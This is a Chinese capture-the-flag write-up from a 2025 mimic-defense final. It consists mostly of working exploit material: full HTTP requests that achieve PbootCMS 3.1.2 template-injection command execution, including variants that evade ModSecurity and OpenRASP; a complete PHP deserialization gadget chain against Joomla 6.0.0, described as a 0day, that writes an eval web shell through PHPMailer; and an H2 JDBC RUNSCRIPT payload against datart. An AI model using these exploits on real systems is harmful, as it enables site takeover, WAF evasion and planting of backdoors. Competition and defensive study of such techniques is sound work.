2025强网拟态决赛 wp

为什么现在才发呢?因为还有15天就要公安联考了。今天周五主要想复现一下joomlaCMS的0day。

云网互联赛道

Web-1

1
本赛题使用开源网站框架PbootCMS(版本:3.1.2)搭建了Web应用,且未采用任何安全防护技术。本赛题使用开源网站框架PbootCMS(版本:3.1.2)搭建了Web应用,且未采用任何安全防护技术。

https://cn-sec.com/archives/2668654.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /?member/login/?suanve=}{pboot:if((get_lg/*s-*/())/**/(get_backurl/*s-*/()))}123{/pboot:if}&backurl=;id HTTP/1.1
Host: 172.29.60.11
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: XDEBUG_SESSIO1N=17340; lg=system; PbootSystem=8g1gcjum9vbcbqeh6epc5hlloa
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Content-Length: 2

Web-2.1

1
本赛题在赛题Web-1的基础上,额外部署了开源的ModSecurity(版本:3.0.14)为Web应用提供安全防护。

部署了防火墙

发现我们的请求被Forbidden了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /?member/login/?{{urld(%23)}}=}{pboot:if((get_lg/*-*/())('cat</flag'))}{/pboot:if}) HTTP/1.1
Host: 172.29.60.11
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: XDEBUG_SESSIO1N=17340; lg=system; PbootSystem=8g1gcjum9vbcbqeh6epc5hlloa
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Content-Length: 2

其实就是把变量名改成注释符,这样后面就不会被检测到了

上面的可能不太好理解,下面还有一种方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /?member/login/?x=#}{pboot:if((get_lg/*-*/())('cat</flag'))}{/pboot:if}) HTTP/1.1
Host: 172.29.60.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: XDEBUG_SESSIO1N=17340; lg=system; PbootSystem=8g1gcjum9vbcbqeh6epc5hlloa
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Content-Length: 2

Web-2.2

1
本赛题在赛题Web-1的基础上,额外部署了开源的OpenRASP(版本:1.3.7)为Web应用提供安全防护。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /?member/login/?a=}{pboot:if((get_lg/*aaa-*/())("ls"))}{/pboot:if} HTTP/1.1
Host: 172.29.60.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: XDEBUG_SESSIO1N=17340; lg=system; PbootSystem=8g1gcjum9vbcbqeh6epc5hlloa
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Content-Length: 2

还有Web-2.1的poc在这里也行

Web-3.1

1
本赛题在赛题Web-1的基础上,采用了同构冗余+负载均衡的架构设计,并集成了ModSecurity + OpenRASP的安全防护机制(两者版本号不变)。

说白了就是2.1和2.2的结合体

但是发现换了好几个命令执行函数都不行,直接试试读文件

Web-3.2

1
本赛题在赛题Web-1的基础上,采用了Web应用异构化技术,并集成了ModSecurity+OpenRASP的安全防护机制(两者版本号不变)。

多了异构化技术,这里解释一下

Web应用异构化技术 指的是 有意地、动态地让一个Web应用的不同实例(或在不同时间点)呈现出不同的特征和行为,从而增加攻击者的认知和攻击难度,提升系统防御能力的技术。

上述poc在Web-3.1是可以的,但是在这里不可以,他说方法未定义?

CTF

Joomla

1
Joomla是世界上非常流行的软件包,它十分的安全,使用MVC结构组织代码,可扩展性非常的强大,被广泛的用于企业,政府,个人搭建web应用,目前全球范围内约2.8%(2014的统计数据)的网站是基于joomla搭建。在CMS全球市场份额占有约9%。现在来挖挖它最新版的反序列化吧!

让我们挖php反序列化链子(0day),最新版本6.0.0。

我们首先寻找漏洞利用的点

我们跟进到phpmailer.php。

此处$Sendmail的值是我们可控的,而$body值则是函数传入值,那么我们这里可以实现文件写入。

1
2
3
4
5
6
$sendmail = sprintf(
'%s -oi -f %s -t', // 格式
escapeshellcmd("tee /var/www/html/shell.php --"), // 第一个%s
"attacker@example.com" // 第二个%s
);
// 结果:tee /var/www/html/shell.php -- -oi -f attacker@example.com -t

然后我们对sendmailSend方法查找方法,看谁调用了他。

只要$Mailer为sendmail或者qmail都能进入到sendmailSend方法。

继续查找用法

这里我们让presend返回true即可进入postSend方法。

然后我们在send方法查找方法。但是我们啥都找不到。

然后我们在此处找到了一个可以调用方法的地方。调用$listener的$event方法。接着看何处调用dispatcher

databaseDriver的dispatchEvent方法调用了dispatch,先getDispatcher再调用它的dispatch。继续看何处调用dispatchEvent。

databaseDriver的disconnect方法调用了它

这里说明当SqliteDriver对象销毁时,会自动触发名为'onAfterDisconnect'的事件。

然后在disconnect处查找用法

找到入口点啦!但是DataBaseDriver是抽象类,我们找一下它的子类实现它:

一整条链子就完成了

1
2
3
4
5
6
7
8
SqliteDriver#__destruct ->
DatabaseDriver#disconnect ->
DatabaseDriver#dispatchEvent ->
Dispatcher#dispatch ->
PHPMail#send ->
PHPMail#postSend ->
PHPMail#sendmailSend ->
popen!!!

然后我们开始分析一下

我们首先看看ConnectionEvent

第一个传参是name,也就是onAfterDisconnect;第二个传参是一个driver($this,也就是自己)。

1
2
3
new ConnectionEvent(DatabaseEvents::POST_DISCONNECT, $this)
// 等价于:
new ConnectionEvent('onAfterDisconnect', $driver)

接着跟进到dispatchEvent方法,先调用getDispatcher获取dispatcher,然后调用dispatcher的dispatch方法,此处获取的dispatcher就要是如下dispatcher了:

在dispatch方法中遍历listeners数组,并调用$listener的event,也就是遍历所有监听器并执行。

这里我们让它变成调用PHPMail的send方法!

$event->getName其实就是onAfterDisconnect,那么$listeners就可以设置如下:

1
['onAfterDisconnect' => [[$phpmailer, 'send']]]

循环listeners的onAfterDisconnect,那么$listener就是[[$phpmailer, 'send']],对应了$phpmailer->send,实现了调用!

那我们继续往下看:

我们需要让preSend为true。继续跟进

这里我们让$Mail为sendmail或者qmail都可以。

然后构造命令即可。

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
namespace Joomla\Database\Sqlite{
class SqliteDriver{
protected $dispatcher;

public function __construct($dispatcher){
$this->dispatcher = $dispatcher;
}
}

}

namespace Joomla\Event{
class Dispatcher{
protected $listeners = [];

public function __construct($listeners){
$this->listeners = $listeners;
}
}
}

namespace PHPMailer\PHPMailer{
class PHPMailer{
public $Mailer='qmail';
public $Sender='MeteorKai@qq.com';
public $Sendmail='tee /var/www/html/tmp/shell.php --';
public $CharSet = 'iso-8859-1';
public $Body='<?php eval($_GET[1]);?>';
public $From = 'MeteorKai@example.com';
public $AllowEmpty = false;
protected $cc = [['MeteorKai@qq.com','MeteorKai']];

}
}

namespace{
$phpmailer = new \PHPMailer\PHPMailer\PHPMailer();
$dispatcher = new \Joomla\Event\Dispatcher(['onAfterDisconnect' => [[$phpmailer,'send']]]);
$driver = new \Joomla\Database\Sqlite\SqliteDriver($dispatcher);
echo urlencode(base64_encode(serialize($driver)));
}


但是发现会报错??

1
Fatal error: Uncaught TypeError: Joomla\Database\Pdo\PdoDriver::__construct(): Argument #1 ($options) must be of type array, null given, called in /var/www/html/libraries/vendor/joomla/database/src/Pdo/PdoDriver.php on line 783 and defined in /var/www/html/libraries/vendor/joomla/database/src/Pdo/PdoDriver.php:71 Stack trace: #0 /var/www/html/libraries/vendor/joomla/database/src/Pdo/PdoDriver.php(783): Joomla\Database\Pdo\PdoDriver->__construct(NULL) #1 [internal function]: Joomla\Database\Pdo\PdoDriver->__wakeup() #2 /var/www/html/unser.php(6): unserialize('O:35:"Joomla\\Da...') #3 {main} thrown in /var/www/html/libraries/vendor/joomla/database/src/Pdo/PdoDriver.php on line 71

问了一下AI,说错误发生在wakeup中,回归源码看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
namespace Joomla\Database\Sqlite{
class SqliteDriver{
protected $dispatcher;
protected $options= ['driver'=>'MeteorKai'];//这里是host什么的都可以
public function __construct($dispatcher){
$this->dispatcher = $dispatcher;
}
}

}

namespace Joomla\Event{
class Dispatcher{
protected $listeners = [];

public function __construct($listeners){
$this->listeners = $listeners;
}
}
}

namespace PHPMailer\PHPMailer{
class PHPMailer{
public $Mailer='qmail';
public $Sender='MeteorKai@qq.com';
public $Sendmail='tee /var/www/html/tmp/shell1.php --';
public $CharSet = 'iso-8859-1';
public $Body='<?php eval($_GET[1]);?>';
public $From = 'MeteorKai@example.com';
public $AllowEmpty = false;
protected $cc = [['MeteorKai@qq.com','MeteorKai']];

}
}

namespace{
$phpmailer = new \PHPMailer\PHPMailer\PHPMailer();
$dispatcher = new \Joomla\Event\Dispatcher(['onAfterDisconnect' => [[$phpmailer,'send']]]);
$driver = new \Joomla\Database\Sqlite\SqliteDriver($dispatcher);
echo urlencode(base64_encode(serialize($driver)));
}


成功!

Ezdatart

一个开源的datart项目,版本为1.0.0-rc.3

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/v1/data-provider/test HTTP/1.1
Host: 172.31.17.18:8080
Accept: application/json, text/plain, */*
Referer: http://172.31.17.18:8080/organizations/f0868537b23e42b183ad8a101cf503b7/sources/6bcd1c797fb84755b47bf0fddeef95f2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Cookie: AUTHORIZATION_TOKEN=Bearer%20eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjMiLCJwYXNzd29yZCI6LTE0NDQwODMyMiwiZXhwIjoxNzY0MjUwMTA0fQ.A6MrsP5DBLFbVlXsl_vGOqy32EhuLJEFWdXqNYJz7Cc
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjMiLCJwYXNzd29yZCI6LTE0NDQwODMyMiwiZXhwIjoxNzY0MjUwMTA0fQ.A6MrsP5DBLFbVlXsl_vGOqy32EhuLJEFWdXqNYJz7Cc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Content-Length: 344

{"name":"jdbc-data-provider","type":"JDBC","properties":{"dbType":"H2","url":"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '/flag'","user":null,"password":"","driverClass":"org.h2.Driver","serverAggregate":false,"enableSpecialSQL":false,"enableSyncSchemas":true,"syncInterval":"60","properties":{}}}

打JDBC,让他读取/flag的内容并执行SQL文件,我们直接读flag他会报错把flag的内容直接报出来。